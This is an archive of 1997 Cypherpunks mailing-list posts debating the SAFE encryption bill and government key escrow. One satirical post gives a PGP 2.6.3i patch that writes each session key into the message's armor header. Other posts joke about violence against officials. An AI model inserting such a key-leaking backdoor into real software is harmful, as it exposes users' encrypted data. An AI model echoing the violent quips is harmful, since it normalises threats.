ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IDlwS29JRU5LaERG
eW9KVG04bVlZS3hCWTlsNGtyM0JBCgppUUEvQXdVQk5Cb1FPTUpGMGtYcXB3
M01FUUs3QndDZlMrMHFKeWZhU0JybU5WWlhWNmxCNmhXaXBJRUFuakVKCkxM
d0xjS2wwRmRJdjI1SWxmRDFyU2RFQQo9eXN2TwotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3984.1071713731.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brock N. Meeks" <brock@well.com>
Date: Sat, 13 Sep 1997 12:23:39 +0800
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <3.0.3.32.19970912171321.006b57f8@schloss.li>
Message-ID: <Pine.3.89.9709122143.A11840-0100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Don't count on the language being yanked in Judiciary.  The real "only 
hope" is actually an incredibly low tech and unsexy thing called "time."

The 105th Congress wants to split early, possibly in three weeks!  Yes, 
three weeks (hard working lot, eh?)  There is no way this bill gets 
through the Rules committee with multiple versons floating around and 
then gets brought to the floor for a vote... won't happen.

So that sets up next year....

As for teh "violent split" in the White House, sure there is, but the 
split is *very deep* as in, deep in the Org chart.  The starting players, 
save one, are all on board with the FBI plan.  The one courageous main 
player is a Clinton loyalist until he dies, but Gore can't stand him.  

Our main man has the ability to pick up the phone--at any time-- and get 
Clinton on teh other end.  He whispers intoBill's ear, but Bill is a lame 
duck and is setting up Gore for the "long run" in 2000.

Nobody wants to look soft on crime, esp. in the ramp up to 2000.

The White House will back this mandatory language, I'll bet on it 
(really, I'll bet on it, any takers?) the only "game" left here is to 
figure out how Gore will try and save face by supporting a recanting of 
his 'no mandatory crypto" stance.

--Brock





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Lunatic <hehehe@dev.null>
Date: Sat, 13 Sep 1997 11:33:08 +0800
To: declan@well.com
Subject: The "I Told You So" Website
In-Reply-To: <Pine.GSO.3.95.970912222443.10375Q-100000@cp.pathfinder.com>
Message-ID: <341A06CA.3E33@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> I told you so too:

> On Fri, 12 Sep 1997, Lucky Green wrote:
> 
> > I hate to say this, but "I told you so".

Please take this discussion to the "I Told You So" Website.

Given the fact that the CypherPunks (TM) mailing list has long been
one of the few sites on the InterNet where the future is regularly
predicted, using 'logic' instead of 'magical thinking', an 'I told
you so!' thread on the list could quite possibly result in such a
monstrous increase in bandwidth use that the resulting meltdown
might well threaten the whole future of the InterNet.

The "I Told You So" website will send a weekly list out to all
CypherPunks as an Archive.
There is provision for you to insert text revealing what you 'told'
and a number-box to indicate the level of snickering you are doing
at those blind fools who will share your cell, but never 'expected'
to be there.
There is also provision for you to sign you name and email address.
( It defaults to "Tim May <tcmay@got.net> )

If creation of this new website surprises you, it shouldn't...
I Told You So
~~~~~~~~~~~~~

!John Perry





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: She Devil With A Modem <redsonja@liii.com>
Date: Sat, 13 Sep 1997 09:44:45 +0800
To: sunder@brainlink.com (Ray Arachelian)
Subject: Re: FCPUNX:Are we men or mice?  Re: House panel votes behind closed doors to build in Big Brother
In-Reply-To: <199709130050.UAA29850@beast.brainlink.com>
Message-ID: <199709130132.VAA13357@rowan.liii.com>
MIME-Version: 1.0
Content-Type: text/plain



Also Sprach Ray Arachelian:
> 
> On Fri, 12 Sep 1997, Declan McCullagh wrote:
> 
> > We have a goddamn right to use encryption without a government backdoor.
 
It is not just a right, it is very nearly almost a law of NATURE. Not
just a creation of logic, but a certainty that cannot be compensated for
or guarded against. 
 
> Frankly among certain crowds many backdoors and other bugs have been
> detected in most OS's, how will the mother fuckers keep them from being
> found and used?  I mean, all you have to do is simply get their attention
> and have them snoop on you, meanwhile you watch all the packets and record
> the weird ones and you've got a copy of their session.

Don't get distracted by wasting too much time in inappropriate places.
My definition of "inappropriate places" being "places that do not yield 
enough information perceived as useful". 

The people who are viewed as the "enemy" here have a hell of a lot more
experience judging the value of information as a weapon. (Not that this
should be discouraging, just taken into consideration.) The weapon can
and does become useless, especially if it concerns personal information,
if the person involved has the emotional strength to be able to resist
emotional blackmail. 

An enormous victory can be won by the STRONG, who are capable of 
withstanding personal attack in this regard and causing the enemy to
waste enormous amounts of their time trying to accomplish impossible
goals of erosion on individual self esteem. 

If you believe that this is mere paranoia, I urge you to make a serious
examination of the circumstances of Alan Turing's death. As cypherpunks,
you should all be interested enough to do so. His death and the shady
circumstance surrounding it are a thing to be learned from.

> After the evil laws, our jobs will be to break ALL GAK'ed software.  How
> will they prevent that?  Passing more laws to make the exposure of bugs
> and holes illegal?  Sort of like the cell scanner laws? :)

There is a certain amount of quality control that the cypherpunks are
doing for the intelligence agencies, and those same are perfectly 
willing to allow you to continue to do that...for now. Nor is it any
coincidence that (I'm sure) some of you have been approached by said
places with terms of employment and/or indoctrination.

And of course this publicly available list is well populated with
people who are perfectly willing to spam it with controversial and
time-wasting rhetoric, designed to make those of you who are good at
coding angry enough to waste your time denouncing their "chaff" instead. 

You are not dealing with either stupid or moral people when it comes
to TLAs. Remember this, please. Once I believed in this country enough
to die for it, I believed their propaganda and their lies. That was 
before I got a good eyeful of the incompetence, cruel lack of concern 
for human lives, the obsession with power and the selfish greed that
permeates the American military; the unnamed "fourth branch" of our 
government; the sort of people who would allow a five BILLION dollar
facility in Maryland to be built for their pleasure while people in
New York and Los Angeles and Austin and Chicago - CITIES IN THE SAME
COUNTRY THEY HAVE SUPPOSEDLY SWORN TO DEFEND - are dying of starvation,
drug addiction, poor medical care, and the odd police brutality incident!

I ask, no, I BEG you now, those of you who have the power to fight this:
retain your individualistic morals and let no one subvert them by any 
means, because they are TRULY what our country was founded upon! I still
believe in those ideals, yes - in SPITE of my exposure to the pack of
misguided, selfish, greedy sons of bitches who have managed after two
hundred years to turn it into a travesty of what it once was, and what
it once meant to me.

Don't let them jam you with their chaff! Ignore the bullshit and THINK!
It's the LAST thing THEY want you to do!

-- 
"It was sweet to hear of the Pathfinder      | Do not           CD  c
 engineer's bumper sticker: 'My other        | taunt --------P===\==/
 vehicle is on Mars!'" -- Stan Kelly-Bootle, | happy fun         /_\__
                        Unix Review Oct 1997 | fencer!             _\ \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 13 Sep 1997 09:50:18 +0800
To: Antonomasia <ant@notatla.demon.co.uk>
Subject: Re: Note to Net-lobbyists: give it up already, abandon Congress
In-Reply-To: <199709130012.BAA06748@notatla.demon.co.uk>
Message-ID: <Pine.GSO.3.95.970912214139.10375O-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



This is in fact not sarcasm.

Under the status quo, you can use whatever crypto program you want
domestically. This would change radically for the worse if the new SAFE
bill passes.

Sure the status quo is not that great. But it's much better than what
Congress is concocting right now.

-Declan



On Sat, 13 Sep 1997, Antonomasia wrote:

> Declan,
> 
> > Message to Net-lobbyists: look at what happened when this time. Please
> > concentrate on blocking all crypto legislation, not trying to fix it.
> > (Yes, I realize you won't have anything do with crypto, won't "be a
> > player." Shucks.) The status quo, combined with the court challenges, is
> > not that bad.
> 
> Would you like to post confirmation that this is not sarcasm ?
> 
> 
> --
> ##############################################################
> # Antonomasia   ant@notatla.demon.co.uk                      #
> # See http://www.notatla.demon.co.uk/                        #
> ##############################################################
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 13 Sep 1997 13:03:31 +0800
To: "Brock N. Meeks" <unicorn@schloss.li>
Subject: Re: House National Security committee guts SAFE, worse than nobill
In-Reply-To: <3.0.3.32.19970912171321.006b57f8@schloss.li>
Message-ID: <v03102800b03fcb97fa40@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:12 PM -0700 9/12/97, Brock N. Meeks wrote:

>As for teh "violent split" in the White House, sure there is, but the
>split is *very deep* as in, deep in the Org chart.  The starting players,
>save one, are all on board with the FBI plan.  The one courageous main
>player is a Clinton loyalist until he dies, but Gore can't stand him.
>
>Our main man has the ability to pick up the phone--at any time-- and get
>Clinton on teh other end.  He whispers intoBill's ear, but Bill is a lame
>duck and is setting up Gore for the "long run" in 2000.


So just who is "our main man"? Who are "the starting players"?

Why the coyness? Why tease us with vague mentions of who the main players
are, who the guy who can get Clinton on the phone is, etc.? Either they are
or not (main men, that is). Either you know who they are or you don't.

Don't keep us in suspense.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 13 Sep 1997 13:07:21 +0800
To: "Brock N. Meeks" <brock@well.com>
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <3.0.3.32.19970912171321.006b57f8@schloss.li>
Message-ID: <3.0.2.32.19970912215542.006f1c44@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:12 PM 9/12/97 -0700, Brock N. Meeks wrote:
>Don't count on the language being yanked in Judiciary.  The real "only 
>hope" is actually an incredibly low tech and unsexy thing called "time."
>
>The 105th Congress wants to split early, possibly in three weeks!  Yes, 
>three weeks (hard working lot, eh?)  There is no way this bill gets 
>through the Rules committee with multiple versons floating around and 
>then gets brought to the floor for a vote... won't happen.

Are you sure about this? Traditionally, anti-civil liberties legislations
is passed by well over 90% of the vote only days before Congress adjourns.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 13 Sep 1997 13:07:12 +0800
To: "Attila T. Hun" <cypherpunks@cyberpass.net>
Subject: Re: killing off the looming J. Edgar Hoover gorilla
In-Reply-To: <199709130429.WAA28625@infowest.com>
Message-ID: <v03102801b03fccb73dcf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:27 PM -0700 9/12/97, Attila T. Hun wrote:

>    civil disobedience, despite the Feds learning from the Chicago 7
>    trial that selective individual prosecution is more effective to
>    strike terror in the hearts and souls of the 'deviants', needs to
>    be organized at _all_ colleges and law firms, who unfortunately
>    are at least as techno-illiterate as the members of Congress.

Well, like I said before, I hope to send a signal like this next Friday,
the 19th, at Stanford. (Seems the Fascist in Chief and his royal entourage
will be visiting campus that day. What an amazing coincidence.)

But I don't think you'll find too many law school students involved in such
activism. My hunch, and I've dealt with some of them, is that their minds
are on the law firms they hope to join, not on issues of "right" and
"wrong." (In fact, and Prof. Froomkin is free to correct me, or the legal
larvae can, issues of "jurisprudence" are passe. Even the "ethics" they
study seems to be more related to keeping their hands out of the cookie
jar, to avoiding being sued by unhappy clients, and to not getting caught
in ethics violations.)

As Shakespeare might have said, "First, we mcveigh all the law schools."

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 13 Sep 1997 10:31:27 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Note to Net-lobbyists: give it up already, abandon Congress
In-Reply-To: <3.0.2.32.19970912190550.0076863c@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970912222443.10375Q-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I told you so too:

  http://cgi.pathfinder.com/netly/editorial/0,1012,1022,00.html

-Declan


On Fri, 12 Sep 1997, Lucky Green wrote:

> At 07:25 PM 9/12/97 -0400, Declan McCullagh wrote:
> >Lee, of course, has it exactly right. This is why (in retrospect) the
> >attempt to pass SAFE was doomed -- and dangerous.
> 
> I hate to say this, but "I told you so". And I was not the only one. Nobody
> that subscribes to Cypherpunks can claim hindight.
> 
> 
> --Lucky Green <shamrock@netcom.com>
>   PGP encrypted mail preferred.
>   DES is dead! Please join in breaking RC5-56.
>   http://rc5.distributed.net/
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 13 Sep 1997 04:54:08 +0800
To: cypherpunks@toad.com
Subject: Sorry, Tim / Re: Snuffle Destroys United States: Film at 11
Message-ID: <199709122040.WAA22377@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter D. Junger wrote:
> Mike Duvos writes:
> : Correct me if I'm wrong, but I thought "Snuffle" was some
> : simple-minded cipher designed to test ITAR.  I didn't think it
> : was something anyone would choose to incorporate into a serious
> : product.
> 
> I am quite sure that you are wrong in this.  It is a serious program
> written to demonstrate Bernstein's algorithm for converting a secure
> hash function (which as it happens is exportable) into an encryption
> program (which is not exportable).  It certainly was not written to
> test the ITAR and restricting it under the ITAR or the EAR was and is
> rather odd as it contains no encryption code itself.  Or, at least,
> that is my understanding.

Tim,
Sorry I called you senile (even though I enjoyed it), since it turns
out that I was too senile to respond to your "can they do this? can
they do that" post with as good an example as above, as to what the
government can and cannot do.
After Pat Robertson becomes President, we can look forward to "Marilyn
Manson" having his/her 'encryption' fall under the ITAR and EAR rules,
regulations, restrictions, etc., etc., etc.

SenileMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 13 Sep 1997 15:40:24 +0800
To: Duncan Frissell <cypherpunks@cyberpass.net
Subject: Ship Code!  Re: House Intelligence Committee Press Release
In-Reply-To: <v0400130eb03e52897697@[205.180.136.85]>
Message-ID: <3.0.3.32.19970913001818.006913e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:43 PM 9/12/97 -0400, Duncan Frissell wrote:
>Cute trick.  I wonder who's the "provider" of a GNU-licensed piece of 
>collectively-written software?

I am!  You are.  All of us.  Anybody providing it on a web site.
Anybody mailing packages overseas for university libraries.
Anybody contributing to development or submitting bug fixes (that get used :-)
Anybody who writes a math subroutine or a tutorial or a shell script.
Anybody who wants to join.  

>And is the law satisfied by a program which ships with a GAK module and
has a 
>nice installation program that automatically (or after asking) rips it out
by 
>the roots.

It's probably written in a way that gives vaguely-defined extensive
rulemaking powers
to ill-identified Adminicrats while exempting them from judicial review,
returning us to the good old FUD days where you can only get permission
if you're Nice.  

On the other hand, PGP 5.0 has a perfectly usable GAK feature,
not that the Fedz would approve it.  It's the "Always encrypt to default key",
which is primarily intended for keeping copies in a form you can read later,
but would work just as well with the FBI key instead.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 13 Sep 1997 15:43:34 +0800
To: cypherpunks@Algebra.COM
Subject: Supreme Court Case on language choice
Message-ID: <3.0.3.32.19970913003600.006b58e4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Mark Eckenwiler posted this to Cyberia-L, with
Subject: Re: House panel votes behind closed doors to build in Big Brother

chris mohr writes:
+         Suppose that the use of particular languages other than English or
+ a few other common ones, such as Spanish or French, was forbidden over the
+ telephone

Interestingly, there is some Supreme Court case law arguably on point.
In _Yu Cong Eng v. Trinidad_, 271 US 500 (1926), the Supreme Court
considered the validity of a Philippine statute that prohibited the
keeping of business records in lanuages other than English, Spanish,
or "any local dialect."  (I'll omit an explanation of why the Court
was analyzing Philippine law under the U.S. Constitution.)  The Court
found that in charging the petitioner (who kept his books in Chinese),
the Philippines had deprived him of liberty and property w/o due
process and had deprived him of equal protection under the laws.  (I
should add that the legislation, which would also have technically
applied to records in German or Urdu, was known locally as the Chinese
Bookkeeping Act.)

Note, however, that the Court observed in the same breath that "the
Philippine government may make every reasonable requirement of its
taxpayers to keep proper records of their business transactions in
English or Spanish . . . ."  271 US at 525.

--
"This case presents the perhaps unprecedented situation of a court, as
litigant, petitioning itself, as court, for relief."
                                In re Skupniewitz, 73 F.3d 702 (7th Cir. 1996)
                      Mark Eckenwiler   eck@panix.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 13 Sep 1997 16:13:18 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: In Defense of Libertarianism, from HotWired's Synapse (fwd)
In-Reply-To: <199709130004.TAA23630@einstein.ssz.com>
Message-ID: <3.0.3.32.19970913005041.0069adf8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



There's presumably some far more appropriate place for this,
but it's _your_ cypherpunks listserver :-)

At 07:04 PM 9/12/97 -0500, Jim Choate  <ravage@ssz.com> wrote:
>If the Libertarians are so gung-ho on avoiding governmental (especialy
>federal) intervention in their lives why do they support the 14th Amendment?

Libertarians are generally very strong in insisting that the governments
should respect the rights of their citizens, and as the 14th forces the
Bill of Rights on the states, it adds some value.  There's by no means
agreement that the 14th is good, or that the States are or are not
better at things than the Feds (it's pretty much agreed that it's
easier for the States to do Bad Things, but that it's less dangerous when
they do it than when the Feds do, since it's easier to leave a State.)
Heck, many of us think that Lincoln was wrong in reconquering the South,
though many of us also think that they seceeded for bad motives.

>Why do they further not ask why the 9th and 10th are not fully respected and
>used by both the legislative and judicial branches of the federal
>government?

You haven't heard Libs rant for the 9th and 10th?  You've obviously been
tuning out :-)  Must not have the patience ....

>clear that the founding fathers wanted the situation in the several states
>to be quite dynamic and diverse, otherwise why "Congress shall make no
>law..." and not something more comprehensive preventing the states from such
>laws as well?

It's extremely clear that the Founding Finaglers had widely diverse opinions,
some of which wanted central control and fiat currencies, others rabidly
decentralist.  Go read the Anti-Federalist Papers.  And then, of course,
go read the Federalist papers, and realize these were the more
pro-big-government
side of the bunch that overthrew their previous government.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nuclear Hillbilly <nh@dev.null>
Date: Sat, 13 Sep 1997 15:00:08 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: BOOM!
In-Reply-To: <3.0.3.32.19970912200547.006985cc@popd.ix.netcom.com>
Message-ID: <341A37C6.7F51@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> 
> At 05:27 PM 9/11/97 -0700, Mike Duvos wrote:
> >
> >Clearly the entire House Intelligence Committee should be
> >"suitcased" immediately.
> 
> In my part of the business, we use the term "suitcased" to
> refer to taking a training course out to somebody's site
> and giving it there rather than making them all come to you.
> Are you suggesting we need to give CONgress a rapid education, on-site ?

	[BOOM!]

Nuclear Hillbilly: "That'll learn 'em."

NH
~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sat, 13 Sep 1997 09:42:08 +0800
To: declan@pathfinder.com
Subject: Re: Note to Net-lobbyists: give it up already, abandon Congress
Message-ID: <199709130012.BAA06748@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Declan,

> Message to Net-lobbyists: look at what happened when this time. Please
> concentrate on blocking all crypto legislation, not trying to fix it.
> (Yes, I realize you won't have anything do with crypto, won't "be a
> player." Shucks.) The status quo, combined with the court challenges, is
> not that bad.

Would you like to post confirmation that this is not sarcasm ?


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 13 Sep 1997 16:50:40 +0800
To: ahoier@juno.com (CYPHER ? PUNK)
Subject: Re: PGP Signatures
In-Reply-To: <19970831.135647.9558.12.ahoier@juno.com>
Message-ID: <3.0.3.32.19970913013154.006b6c6c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:33 PM 9/11/97 -0400, someone pretending to be ahoier wrote:
>Could somebody tell me what the CLUE SERVER is cause I tryed to search it
>in Yahoo! but they didn't give me anything on CLUE SERVER so could

Heh.  Should have looked on www.clue.com.
Or used www.hotbot.com as your search engine - it found 23 clue server
references, including in the Cypherpunks archives, though the
IRC Clue Server is apparently no longer with it.

On the other hand, AltaVista didn't have a Clue Server.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sat, 13 Sep 1997 10:53:12 +0800
To: cypherpunks@toad.com
Subject: Cypherpunks write GAK
In-Reply-To: <3419AB69.2E9B@dev.null>
Message-ID: <gjpZu2RcJurPuhOLCjweyQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Security And Freedom Through Encryption:
=======================================

This patch adds a Law Enforcement Access Field to PGP 2.6.3i, which
can be used to provide, upon presentment of a court order, immediate
access to plaintext data.

This tool will frustrate illegal and deadly activity of terrorist
groups that plot to blow up buildings, drug cartels that seek to
poison our children, and those who proliferate in deadly chemical and
biological weapons, and will bring international criminals to justice.

GAKMonger
~~~~~~~~~

diff -u ../pgp263i/src/armor.c ./armor.c
--- ../pgp263i/src/armor.c	Wed Jan 17 21:37:20 1996
+++ ./armor.c	Sat Sep 13 03:30:57 1997
@@ -41,6 +41,7 @@
 static int armordecode(FILE * in, FILE * out, int *warned);
 static void mk_crctbl(crcword poly);
 static boolean is_armorfile(char *infile);
+extern char leaf[];
 
 /*      Begin ASCII armor routines.
    This converts a binary file into printable ASCII characters, in a
@@ -597,6 +598,13 @@
 		1, noSections);
     }
     fprintf(outFile, "Version: %s\n", LANG(rel_version));
+    if (leaf[0])
+    {
+	fprintf(outFile, "LEAF: ");
+	for (i = 1; i <= IDEAKEYSIZE; i += 3)
+	    outdec(leaf+i, outFile, 3);
+	putc('\n', outFile);
+    }
     if (clearfilename)
 	fprintf(outFile, "Charset: %s\n", charset);
     if (globalCommentString[0])
diff -u ../pgp263i/src/crypto.c ./crypto.c
--- ../pgp263i/src/crypto.c	Mon Jan 15 22:37:59 1996
+++ ./crypto.c	Sat Sep 13 03:33:19 1997
@@ -420,6 +420,9 @@
  * The "skip" parameter says to skip that many bytes at the beginning,
  * used to generate a random IV only for conventional encryption.
  */
+
+char leaf[IDEAKEYSIZE+1];
+
 static int make_random_ideakey(byte key[IDEAKEYSIZE+RAND_PREFIX_LENGTH],
 			       int skip)
 {
@@ -445,7 +448,11 @@
 	 */
 	count = IDEAKEYSIZE+RAND_PREFIX_LENGTH;
 	for (count = skip; count < IDEAKEYSIZE+RAND_PREFIX_LENGTH; count++)
-		key[count] = cryptRandByte() ^ trueRandByte();
+	{
+	    key[count] = cryptRandByte() ^ trueRandByte();
+	    leaf[count-skip+1] = key[count];
+	}
+	leaf[0] = 1;
 
 	/*
 	 * Write out a new randseed.bin.  It is encrypted in precisely the
diff -u ../pgp263i/src/pgp.c ./pgp.c
--- ../pgp263i/src/pgp.c	Thu Jan 18 19:06:45 1996
+++ ./pgp.c	Sat Sep 13 02:36:44 1997
@@ -410,6 +410,16 @@
 #endif
 	  stderr);
 
+fputs("American citizens have a right to their privacy and their access to the
+freest possible markets. But they also have a right to their safety and
+security. Terrorist groups that plot to blow up buildings; drug cartels
+that seek to poison our children, and those who proliferate in deadly
+chemical and biological weapons are all formidable opponents of peace and
+security in the global society. These bad actors must know that the United
+States' law enforcement and national security agencies, working under the
+proper oversight, will have the tools to frustrate illegal and deadly
+activity and bring international criminals to justice.\n", stderr);
+
     get_timestamp((byte *) & tstamp);	/* timestamp points to tstamp */
     fprintf(pgpout, LANG("Current time: %s\n"), ctdate(&tstamp));
 }





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Sat, 13 Sep 1997 11:29:36 +0800
To: cypherpunks@toad.com
Subject: key escrow B.S. "cure" for single point of failure
Message-ID: <19970913032000.1993.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




The feds say that key escrow is not a single point of failure,
because private keys will be split between arms of the bureaucracy,
and an attacker would have to con three or more independent
agencies or agents to gain access to a key.

Now, running buffer overflows on three machines with dialup accounts
paid for with stolen credit cards and hooked through the payphone in
Cloyne hall seems just as easy as running buffer overflows on one.

Single point may be worse than three points, but one and three seem
almost the same when compared to 250,000,000.

-THE LIE





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 13 Sep 1997 18:28:24 +0800
To: cypherpunks@toad.com
Subject: InfoWar 7 (Part III of 'The True Story of the InterNet')
Message-ID: <341A685F.1E7B@songbird.com>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Crispin's Revenge 



Crispin's Revenge


+OK 7090 octets
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Message-ID: <19970827230948.59862@bywater.songbird.com>

Date: Sat, 13 Sep 1997 02:54:41 -0600
From: Kent Crispin <kent@songbird.com>
To: cypherpunks@toad.com
Subject: Kicking Crypto Ass (Was: Kicking CypherPunk Ass)
X-Mailer: Mutt 0.81
X-Disclaimer: Things are not as they seem
X-PGP-Key: http://songbird.com/kent/pgp_key.html
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Content-Length: 7375

::
Anon-To: president@whitehouse.gov

You should go arrest all the Cypherpunks.

They are always saying "Nuke DC", but if that was a
crime we'd probably all be in jail, eh? Even us Canadians.

But they are a crypto-military organization, and some of them
have guns, which would make them a paraplegic-crypto-military
organization.
(At least, ? the Platypus would be.) 

And they make fun of Chelsea, too.
So you maybe ought to slap them around a little, too, after you
arrest them.

I'm a Cypherpunk, too, but I am a Canadian, so I'm better than
them because I still live in a free country and I can export strong
crypto every day, even the stuff made in the US, if I want, and
they can't.

You guys are going to make the US Cypherpunks criminals some time
soon anyway, when you hunt down and kill the rest of the Constitution.
If you arrested the Cypherpunks now, then they couldn't help people
to think and say whatever they wanted to and hide their using
the Constitution where you couldn't get at it.

I think its funny that you put a guy named Freeh in charge of
making sure that nobody was. You must have a good sense of humor,
eh? Me, too.
I tell the US Cypherpunks that "packing a suitcase"
is a misdemeanor and that "packing a concealed suitcase"
is a felony.

That reminds me...when you arrest them, could you let them keep
their computers in jail, so they can still post to their mailing
list? I like to read their stuff, because they are smart and funny,
but I want to be the Chief CypherPunks Spokesperson, and I figure
I have a better chance if all the US guys are in jail, because
it wouldn't be good for the Cypherpunks image if they had a guy
in jail talking for them.

Hey, do you know what happened to Jim Bell? Just wondering. He
made a stink so he didn't have any rights, eh? 

Anyway, I am going to send this by some anonymous remailers and
other routes. It's not because I think if you got mad at me for
being a Cypherpunk, even if I am a Canadian one, that you would
invade Canada and come get me. I don't know anything about your
drug dealing, like Noriega did about Bush (just what I read on
the InterNet. is that why you don't want anyone in the world to
be able to say what they want?).
It's not like you ever sold _me_ anything, eh?

Anyway, since you got a good sense of humor ("Those people
in Waco should have known the odds were against them in 'Reno.'")
I'll tell you a funny joke you could play on the Cypherpunks before
you arrest them. 

A crazy guy is writing a book about them and the double-secret
guys in your single-secret laboratories who belong to the Circle
of Eunuchs and anyone who wants to can put a chapter in. You just
send it to the Cypherpunks mailing list and someone puts it in
the electronic book. (It's called "InfoWar.")

Anyway, since they are making fun of you guys in DC, then you
could send in a chapter and make fun of them, too. You could even
be tricky and copyright it as "Anonymous <president@whitehouse.com>"
if you wanted. That would be double-funny because then they would
think it was the crazy guy trying to trick them (because he's
a forager) and it would really be you tricking them by not tricking
them, see?

You could get even with them for making fun of Chelsea by writing
a chapter where she goes to their Bay Area physical meeting and
kicks all their butts. L.F. Freeh could even send in a chapter
about arresting the old grouchy one on the 19th, and then really
do it because of his sign. 
Bubba Rom Dos was always getting in trouble for his signs, too.
He's a guy in the "True Story of the InterNet." 

Anyway, I got to go send this through the remailers. (I am a master
of deviation.) You should see if you can guess who it is, OK?
And if you do, say so on the Cypherpunks mailing list, and I'll
tell you if you get it right, OK?
All the people on the list will know, but don't ask them, OK?
That would be cheating. (I'm not trying to imply anything, or
nothing.) 

Oh, and tell L.F. Freeh that I coined a word because of him. It
was a typo about him talking to Congress or somebody and I typed
in the word "tesiLied." It was pretty funny, so I just
left it like that. 

TruthMonger 
"It's not FUD until _I_ say it's FUD!"

Copyright "Anonymous <kent@songbird.com>"




"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Sat, 13 Sep 1997 12:35:13 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: killing off the looming J. Edgar Hoover gorilla
